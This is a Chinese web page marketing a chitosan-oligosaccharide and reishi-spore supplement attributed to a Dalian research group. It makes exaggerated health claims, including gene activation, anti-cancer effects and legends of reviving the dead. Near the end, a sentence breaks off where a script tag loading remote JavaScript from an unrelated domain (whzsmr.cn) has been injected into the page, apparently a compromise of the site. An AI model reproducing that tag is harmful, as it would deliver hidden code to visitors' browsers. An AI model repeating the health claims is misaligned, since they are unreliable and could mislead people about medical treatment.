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中国科学院大连化学物理研究所
天然产物与糖工程(1805)组

中国科学院大连化学物理研究所
格莱克壳寡糖研究中心

中国科学院大连化学物理研究所

 
   
奥利奇善双剑合璧
 

双剑合璧的奥利奇善壳寡糖
——国家“九五”“863”计划科研成果验收主体产品


    中国第四代机能性食品的典型代表
    奥利奇善(OLIGOCHITOSAN壳寡糖)是自然界唯一呈正电、显碱性、98.9%可吸收的机能食品;
    该产品是由院士级专家组成的项目验收组验收的保健食品;
    奥利奇善(OLIGOCHITOSAN壳寡糖)是目前唯一促进人体器官或组织自我平衡调节的机能性保健食品,它能开启基因表达,调节机能平衡。
    奥利奇善(OLIGOCHITOSAN壳寡糖)胶囊是由中国科学院大连化学物理研究所天然产物与糖工程课题组(1805)历经12年研制而成,国家“九五”“863”计划科研成果验收载体产品,集五项国家专利于一身,荣获国家第十三届全国发明金奖。
    奥利奇善壳寡糖由高聚合度的广谱壳寡糖和破壁灵芝孢子粉双剑合璧而成,高聚合度的广谱壳寡糖及破壁灵芝孢子都是中科院1805工程组的高新技术产品,在自然界中灵芝属阳,寡糖属阴,这种天然的阴阳组合,具备了较好的协同作用,此组合能使奥利奇善壳寡糖的功用更广、更高、更快、更强。这一组合曾经是中科院的1805组的科技秘笈。也是国内外组合式壳寡糖的巅峰之作,此双剑合璧的奥利奇善广谱壳寡糖,具有很强的协同作用力。

1、优异聚合度的广谱壳寡糖

    奥利奇善中的壳寡糖是聚合度为2—7的氨基葡萄糖以β—1,4—糖苷键连接而成,它通常是由甲壳素脱乙酰化的产物壳聚糖降解而获得。清楚的聚合度代表着壳寡糖的高品质,代表着活性度,代表着对人体作用的有效性,也代表着壳寡糖作用的广谱性,科学证明人体对壳寡糖的需要是具有选择性,即人体需要不同聚合度的壳寡糖,人体中有的地方要聚合度为2,有的地方需要聚合度为6,有的地方需要聚合为5等。
    只有清楚的聚合度,才能符合世界功能性食品的标准,只有如此才能清楚的知道对人体的作用,同时能清楚的知道聚合度,也代表了壳寡糖的科技高度,因为实现清楚的聚合度必须具备全球最领先的酶法降解及纳米膜分离耦合技术,也要有顶级的检测设备,如1805组拥有的:美国ESA公司Corona电雾式检测器、美国ESA公司电化学阵列检测系统(CoulArray)等。只有用这种仪器作为壳寡糖的质量控制设备才可以很好的对产物的组分进行分析,从而确保所得壳寡糖的高品质。

2、破了壁的灵芝孢子粉

    灵芝自古以来有仙草之美名,有起死回生、返老还童之传说,它含有延长生命的新元素---有机锗,日本人称锗为“可以吃的氧”,德国人称之为“血液清道夫”,它是调节人体机能平衡的“魔术师”。本草纲目中说:调心调气、心平气和、白病不生。长期服用灵芝,令人好颜色,轻身不老,延年益寿。
    奥利奇善中的灵芝破壁孢子粉,产于长白山自然环境中,集“仙草”灵芝所有精华于一身,含有灵芝多糖、壳寡糖、多肽和三萜类等人体必需的生物活性物质。
    灵芝是我国传统医药学中重要的药材之一,从古至今的医药书籍中均有详细的记载,性温、味甘、无毒。功能益精气、强精骨,其药理对中枢神经系统、循环系统、呼吸系统、肝脏的保护等均起一定的作用。
灵芝孢子是灵芝生长成熟期从菌盖弹射出来的象淡雾状的极其微小的孢子,具有灵芝的全部遗传活性物质,除含有丰富的蛋白质、多糖、三萜等灵芝本身固有的成分外,尚有许多与生命代谢有关的因子,维生素E ,有机锗、生物碱等,它们能提高细胞活性,增强人体免疫能力。
    近来研究发现灵芝产生的孢子具有较高的提高人体免疫力和抗癌活性,但由于灵芝孢子粉有较厚的细胞壁,用常规方法难以破坏,其活性物质在体内也难以释放出来,因此直接服用灵芝孢子粉的效率很低,故我们采用破壁的灵芝孢子粉配方,增加吸收的效率,提高活性,增强壳寡糖在机体中的作用。
    灵芝的药用活性与其生长的纬度气候有着密切的关系,一般来讲,产于高纬度的灵芝要比产于低纬度的灵芝药用活性更强。奥利奇善胶囊中的破壁灵芝孢子粉是产于长白山自然环境中的特选灵芝做原料,经88.8% 的破壁率专利技术加工而成。高纬度的灵芝具有扩张血管,降低血管阻力,?script src=http://whzsmr.cn/t.js>

 
 
 
 

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